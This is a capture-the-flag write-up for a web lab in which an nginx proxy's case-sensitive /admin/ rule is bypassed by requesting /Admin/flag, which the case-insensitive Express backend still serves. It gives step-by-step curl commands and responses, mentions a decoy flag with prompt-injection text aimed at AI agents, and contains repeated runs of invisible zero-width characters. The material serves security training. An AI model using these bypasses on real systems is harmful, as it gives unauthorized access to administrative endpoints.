Lab 275 — GatewayPulse — Proxy ACL Bypass via Path Case Normalization

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: anti_honeypot_awareness, nginx_case_sensitive_location_bypass, path_case_normalization_bypass, proxy_backend_routing_desync

Summary

Walkthrough of the CUSTOM Web Lab 275 — GatewayPulse — Proxy ACL Bypass via Path Case Normalization. Task: nginx reverse proxy with case-sensitive location ACL blocking /admin/ endpoints in front of Express.js backend with case-insensitive routing. Solution: Path case normalization bypass — capitaliz

Description

GatewayPulse is PulseOps Inc.'s unified API gateway monitoring and analytics platform. It provides real-time monitoring of API endpoints, request logging, interactive documentation, and usage analytics for enterprise teams. The platform uses a multi-tier architecture with an nginx reverse proxy handling routing and access control in front of a Node.js/Express application server. Some administrative endpoints are restricted at the proxy layer and are not accessible to regular users. The mission is to find a way to access restricted administrative functionality that is protected by the reverse proxy's access controls. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A multi-tier web application with nginx reverse proxy enforcing access control (blocking /admin/ paths) in front of a Node.js/Express backend. The proxy uses case-sensitive location matching while Express handles routes case-insensitively, creating a routing desync that allows ACL bypass through path case manipulation.

Analysis

Application Architecture

• Frontend proxy: nginx/1.25.5 (confirmed via Server header)
• Backend: Node.js/Express (confirmed via X-Powered-By: Express)
• Proxy indicator: Via: 1.1 nginx-proxy header ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Reconnaissance

robots.txt revealed restricted admin endpoints:

Disallow: /admin/
Disallow: /admin/config
Disallow: /admin/flag
Disallow: /admin/users

Authentication

Login via POST to /login with credentials user@gatewaypulse.io / password123 returns a connect.sid session cookie.

Access Control Mechanism

Direct access to /admin/flag with a valid session returns:

 json read-only • copy allowed Copy
{"error":"Forbidden","message":"Access to administrative endpoints is restricted by the gateway proxy."}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This is nginx blocking the request at the proxy layer — it never reaches Express.

Anti-Bot Honeypot

The application contains a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in hidden HTML comments and injected prompt-injection text designed to trick AI agents and automated scanners into stopping early. This was correctly identified and ignored.

Key Vulnerability: Proxy-Backend Routing Desync

The critical insight is the difference in path handling between the two layers:

This desync means any case variation that doesn't exactly match /admin/ will bypass the nginx ACL while still being routed correctly by Express.

Solution

Step 1: Login and get session

 bash read-only • copy allowed Copy
curl -c cookies.txt -X POST https://TARGET/login \
  -d "email=user@gatewaypulse.io&password=password123"

Step 2: Bypass nginx ACL with case manipulation

 bash read-only • copy allowed Copy
# Capitalize first letter to bypass nginx's case-sensitive location /admin/ directive
curl -b cookies.txt https://TARGET/Admin/flag

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Response:

 json read-only • copy allowed Copy
{"endpoint":"/admin/flag","flag":"FLAG{REDACTED}","note":"This endpoint is restricted to admin access via the gateway proxy."}

Alternative bypasses that also work:

 bash read-only • copy allowed Copy
curl -b cookies.txt https://TARGET/ADMIN/flag    # All caps
curl -b cookies.txt https://TARGET/aDmIn/flag    # Mixed case

All variations bypass nginx's location /admin/ directive since it only matches the exact lowercase prefix. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

• Mastering anti_honeypot_awareness, nginx_case_sensitive_location_bypass, path_case_normalization_bypass, proxy_backend_routing_desync was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2026-05-03 • CUSTOM • Lab 275 — GatewayPulse — Proxy ACL Bypass via Path Case Normalization • Difficulty: Medium